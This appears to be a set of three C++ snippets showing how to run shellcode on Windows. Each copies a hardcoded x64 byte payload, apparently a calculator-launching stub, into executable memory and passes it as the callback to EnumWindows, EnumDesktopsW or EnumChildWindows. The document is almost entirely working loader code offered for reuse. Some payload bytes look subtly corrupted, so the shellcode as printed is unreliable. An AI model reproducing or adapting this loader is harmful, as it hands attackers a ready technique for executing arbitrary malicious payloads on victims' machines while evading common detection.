

Enum Functions to Execute Shellcode

EnumWindows

```
C++ Code
#include <windows.h>
#include <stdio.h>

int main(int argc, char *argv[]){
    char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x41\x51\x41\x50"
        "\x52\x51\x56\x48\x31\xd2\x65\x48\xb5\x52\x60\x48\xb5\x52"
        "\x18\x48\xb5\x52\x20\x48\xb5\x72\x50\x48\x0f\xb7\x4a\x4a"
        "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
        "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\xb5\x52"
        "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
        "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
        "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
        "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
        "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
        "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
        "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
        "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
        "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00"
        "\x00\x00\x00\x48\xd8\xd8\x01\x01\x00\x00\x41\xba\x31\x8b"
        "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
        "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
        "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
        "\x5d\x63\x61\x6c\x63\x00";
    HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(hAlloc, shellcode, sizeof(shellcode));
    EnumWindows((WNDENUMPROC)hAlloc, NULL);
}
```

EnumDesktopsW

```
C++ Code
#include <windows.h>
#include <stdio.h>
#include "wingdi.h"

int main(){

    char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
        "\x52\x51\x56\x48\x31\xd2\x65\x48\xb5\x52\x60\x48\xb5\x52"
        "\x18\x48\xb5\x52\x20\x48\xb5\x72\x50\x48\x0f\xb7\x4a\x4a"
        "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
        "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\xb5\x52"
        "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
        "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
        "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
        "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
        "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
        "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
        "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
        "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
        "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00"
        "\x00\x00\x00\x48\xd8\xd8\x01\x01\x00\x00\x41\xba\x31\x8b"
        "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
        "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
        "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
        "\x5d\x63\x61\x6c\x63\x00";

    HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(hAlloc, shellcode, sizeof(shellcode));
    EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW) hAlloc, NULL);
}
```

EnumChildWindows

```
C++ Code
#include <windows.h>
#include <stdio.h>

int main(){

    char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
        "\x52\x51\x56\x48\x31\xd2\x65\x48\xb5\x52\x60\x48\xb5\x52"
        "\x18\x48\xb5\x52\x20\x48\xb5\x72\x50\x48\x0f\xb7\x4a\x4a"
        "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
        "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\xb5\x52"
        "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
        "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
        "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
        "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
        "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
        "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
        "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
        "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
        "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00"
        "\x00\x00\x00\x48\xd8\xd8\x01\x01\x00\x00\x41\xba\x31\x8b"
        "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
        "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
        "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
        "\x5d\x63\x61\x6c\x63\x00";

    HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(hAlloc, shellcode, sizeof(shellcode));
    EnumChildWindows((HWND) NULL, (WNDENUMPROC) hAlloc, NULL);
}
```